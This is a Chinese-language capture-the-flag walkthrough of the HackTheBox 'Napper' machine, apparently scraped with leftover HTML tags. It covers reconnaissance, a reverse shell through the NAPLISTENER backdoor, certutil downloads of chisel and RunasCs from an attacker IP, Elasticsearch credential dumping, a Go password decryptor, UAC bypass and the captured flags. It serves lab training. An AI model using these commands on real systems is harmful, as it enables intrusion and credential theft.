Napper 渗透测试实战教学文档<\/h1>

1. 目标识别与信息收集<\/h2>

1.1 初始扫描<\/h3>
使用Nmap进行全端口扫描和服务识别：<\/p>
nmap -p- -sC -sV 10.10.11.240 --min-rate 1000<\/span>
<\/span><\/span><\/code><\/pre>1.2 Web目录枚举<\/h3>
使用Gobuster进行目录扫描：<\/p>
gobuster dir -u "https:\/\/app.napper.htb"<\/span> -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/raft-small-words-lowercase.txt -k
<\/span><\/span><\/code><\/pre>1.3 子域名枚举<\/h3>
使用FFuf进行子域名爆破：<\/p>
ffuf -c -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-5000.txt --fs 5602<\/span> -t 100<\/span> -u https:\/\/napper.htb -H "Host: FUZZ.napper.htb"<\/span>
<\/span><\/span><\/code><\/pre>发现子域名后，更新\/etc\/hosts文件：<\/p>
echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb"<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>2. 认证绕过与初始访问<\/h2>
2.1 基础认证发现<\/h3>
在https:\/\/app.napper.htb\/posts\/setup-basic-auth-powershell\/<\/code>找到如何设置基础认证的说明<\/p>
2.2 访问内部站点<\/h3>
使用示例凭据访问internal.napper.htb<\/code>，发现关于NAPLISTENER恶意软件的信息<\/p>
3. NAPLISTENER后门利用<\/h2>
3.1 NAPLISTENER分析<\/h3>
NAPLISTENER是一个C#编写的HTTP监听器，特点：<\/p>

使用Wmdtc.exe<\/code>伪装成Microsoft分布式事务协调器服务<\/li>
监听HTTP请求并执行Base64编码的.NET程序集<\/li>
通过\/ews\/MsExgHealthCheckd\/<\/code>端点接收命令<\/li>
<\/ul>
3.2 使用NAPLISTENER扫描工具<\/h3>
从GitHub获取工具：<\/p>
git clone https:\/\/github.com\/MartinxMax\/Naplistener
<\/span><\/span><\/code><\/pre>扫描目标确认后门存在：<\/p>
python3 Naplistener.py -u "https:\/\/napper.htb"<\/span>
<\/span><\/span><\/code><\/pre>建立反向shell：<\/p>
python3 Naplistener.py -u "https:\/\/napper.htb"<\/span> -lh 10.10.16.15 -lp 10032<\/span>
<\/span><\/span><\/code><\/pre>4. 权限提升路径<\/h2>
4.1 发现LAPS替代方案<\/h3>
在C:\Temp\www\internal\content\posts\no-more-laps.md<\/code>发现：<\/p>

组织正在用自定义方案替代LAPS<\/li>
备份用户密码存储在本地Elastic数据库中<\/li>
IT部门将部署解密客户端<\/li>
<\/ul>
4.2 发现Elasticsearch凭据<\/h3>
在internal-laps-alpha<\/code>目录下的.env<\/code>文件中发现：<\/p>
username:user
password:DumpPassword$Here
<\/code><\/pre>
4.3 建立Elasticsearch隧道<\/h3>
使用Chisel建立反向隧道：<\/p>
# Kali端<\/span>
<\/span><\/span>chisel server --port 9201<\/span> --reverse
<\/span><\/span>
<\/span><\/span># 目标机<\/span>
<\/span><\/span>powershell -c certutil -urlcache -split -f "http:\/\/10.10.16.15\/chisel.exe"<\/span> chisel.exe
<\/span><\/span>.\c<\/span>hisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200
<\/span><\/span><\/code><\/pre>4.4 查询Elasticsearch数据<\/h3>
列出所有索引：<\/p>
curl -k https:\/\/127.0.0.1:9200\/_cat\/indices -u 'user:DumpPassword$Here'<\/span>
<\/span><\/span><\/code><\/pre>查询特定索引数据：<\/p>
curl -k https:\/\/127.0.0.1:9200\/seed\/_search -u 'user:DumpPassword$Here'<\/span> | jq
<\/span><\/span>curl -k https:\/\/127.0.0.1:9200\/user-00001\/_search -u 'user:DumpPassword$Here'<\/span> | jq
<\/span><\/span><\/code><\/pre>5. 逆向工程分析<\/h2>
5.1 获取并分析a.exe<\/h3>
使用FTP传输文件：<\/p>
# Kali设置FTP服务器<\/span>
<\/span><\/span>pip3 install pyftpdlib
<\/span><\/span>mkdir ftp_temp; cd ftp_temp
<\/span><\/span>python3 -m pyftpdlib -w -u martin -P martin -p 21<\/span>
<\/span><\/span>
<\/span><\/span># 目标机上传<\/span>
<\/span><\/span>curl -T a.exe -u martin:martin ftp:\/\/10.10.16.15\/
<\/span><\/span><\/code><\/pre>5.2 逆向分析发现<\/h3>
使用Binary Ninja分析发现：<\/p>

程序用Golang编写<\/li>
主要函数：main.main<\/code>, main.randStringList<\/code>, main.genKey<\/code>, main.encrypt<\/code><\/li>
使用AES CFB模式加密数据<\/li>
密钥生成依赖Elasticsearch中的种子值<\/li>
<\/ul>
6. 密码解密与权限提升<\/h2>
6.1 编写解密程序<\/h3>
创建Go解密脚本decrypt.go<\/code>：<\/p>
package<\/span> main<\/span>
<\/span><\/span>
<\/span><\/span>import<\/span> (
<\/span><\/span>    "crypto\/aes"<\/span>
<\/span><\/span>    "crypto\/cipher"<\/span>
<\/span><\/span>    "encoding\/base64"<\/span>
<\/span><\/span>    "fmt"<\/span>
<\/span><\/span>    mrand<\/span> "math\/rand"<\/span>
<\/span><\/span>    "os"<\/span>
<\/span><\/span>    "strconv"<\/span>
<\/span><\/span>)
<\/span><\/span>
<\/span><\/span>func<\/span> genKey<\/span>(seed_key<\/span> string<\/span>) []byte<\/span> {
<\/span><\/span>    seed<\/span>, _<\/span> :=<\/span> strconv<\/span>.Atoi<\/span>(seed_key<\/span>)
<\/span><\/span>    mrand<\/span>.Seed<\/span>(int64(seed<\/span>))
<\/span><\/span>    key<\/span> :=<\/span> make([]byte<\/span>, 16<\/span>)
<\/span><\/span>    for<\/span> i<\/span> :=<\/span> 0<\/span>; i<\/span> < 16<\/span>; i<\/span>++<\/span> {
<\/span><\/span>        key<\/span>[i<\/span>] = byte(mrand<\/span>.Intn<\/span>(255<\/span>-<\/span>1<\/span>) +<\/span> 1<\/span>)
<\/span><\/span>    }
<\/span><\/span>    return<\/span> key<\/span>
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>func<\/span> decrypt<\/span>(key<\/span> []byte<\/span>, cryptoText<\/span> string<\/span>) string<\/span> {
<\/span><\/span>    ciphertext<\/span>, _<\/span> :=<\/span> base64<\/span>.URLEncoding<\/span>.DecodeString<\/span>(cryptoText<\/span>)
<\/span><\/span>    block<\/span>, err<\/span> :=<\/span> aes<\/span>.NewCipher<\/span>(key<\/span>)
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        panic(err<\/span>)
<\/span><\/span>    }
<\/span><\/span>    if<\/span> len(ciphertext<\/span>) < aes<\/span>.BlockSize<\/span> {
<\/span><\/span>        panic("ciphertext too short"<\/span>)
<\/span><\/span>    }
<\/span><\/span>    iv<\/span> :=<\/span> ciphertext<\/span>[:aes<\/span>.BlockSize<\/span>]
<\/span><\/span>    ciphertext<\/span> = ciphertext<\/span>[aes<\/span>.BlockSize<\/span>:]
<\/span><\/span>    stream<\/span> :=<\/span> cipher<\/span>.NewCFBDecrypter<\/span>(block<\/span>, iv<\/span>)
<\/span><\/span>    stream<\/span>.XORKeyStream<\/span>(ciphertext<\/span>, ciphertext<\/span>)
<\/span><\/span>    return<\/span> fmt<\/span>.Sprintf<\/span>("%s"<\/span>, ciphertext<\/span>)
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>func<\/span> main<\/span>() {
<\/span><\/span>    seed_key<\/span> :=<\/span> genKey<\/span>(os<\/span>.Args<\/span>[1<\/span>])
<\/span><\/span>    decrypted_pass<\/span> :=<\/span> decrypt<\/span>(seed_key<\/span>, os<\/span>.Args<\/span>[2<\/span>])
<\/span><\/span>    fmt<\/span>.Println<\/span>("Decrypted pass: "<\/span>, decrypted_pass<\/span>)
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>6.2 解密备份用户密码<\/h3>
编译并运行解密程序：<\/p>
go build decrypt.go
<\/span><\/span>.\/decrypt $(<\/span>curl -s -k https:\/\/127.0.0.1:9200\/seed\/_search -u 'user:DumpPassword$Here'<\/span> | jq -r '.hits.hits[0]._source.seed'<\/span>)<\/span> "<\/span>$(<\/span>curl -s -k https:\/\/127.0.0.1:9200\/user-00001\/_search -u 'user:DumpPassword$Here'<\/span> | jq -r '.hits.hits[0]._source.blob'<\/span>)<\/span>"<\/span>
<\/span><\/span><\/code><\/pre>获取备份用户凭据：<\/p>
username: backup
password: mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg
<\/code><\/pre>
6.3 使用RunasCs提权<\/h3>
下载并执行RunasCs：<\/p>
powershell -c certutil -urlcache -split -f "http:\/\/10.10.16.15\/RunasCs.exe"<\/span> RunasCs.exe
<\/span><\/span>.\R<\/span>unasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac
<\/span><\/span><\/code><\/pre>7. 获取Flag<\/h2>
7.1 用户Flag<\/h3>
type C:\U<\/span>sers\r<\/span>uben\D<\/span>esktop\u<\/span>ser.txt
<\/span><\/span># acfc1c341ef2ec0ea83e1c14899371c2<\/span>
<\/span><\/span><\/code><\/pre>7.2 管理员Flag<\/h3>
type c:\u<\/span>sers\a<\/span>dministrator\d<\/span>esktop\r<\/span>oot.txt
<\/span><\/span># 26f995d74ea1f7b576938bbf0de6ee1b<\/span>
<\/span><\/span><\/code><\/pre>关键知识点总结<\/h2>

NAPLISTENER后门<\/strong>：了解如何识别和利用自定义HTTP监听器后门<\/li>
Elasticsearch利用<\/strong>：通过暴露的Elasticsearch服务获取敏感信息<\/li>
Golang逆向<\/strong>：分析Golang二进制文件的关键函数和逻辑<\/li>
AES CFB解密<\/strong>：实现基于种子值的AES解密过程<\/li>
RunasCs提权<\/strong>：使用替代凭据执行高权限操作的技术<\/li>
<\/ol>
此渗透测试过程展示了从信息收集到权限提升的完整链条，重点在于理解应用程序逻辑、逆向工程和加密机制分析。<\/p>
Napper 渗透测试实战教学文档<\/h1>

1. 目标识别与信息收集<\/h2>

2. 认证绕过与初始访问<\/h2>

2.1 基础认证发现<\/h3> 在https:\/\/app.napper.htb\/posts\/setup-basic-auth-powershell\/<\/code>找到如何设置基础认证的说明<\/p>

4. 权限提升路径<\/h2>

5. 逆向工程分析<\/h2>

6. 密码解密与权限提升<\/h2>

7. 获取Flag<\/h2>

2.1 基础认证发现<\/h3>
在`https:\/\/app.napper.htb\/posts\/setup-basic-auth-powershell\/<\/code>找到如何设置基础认证的说明<\/p>`
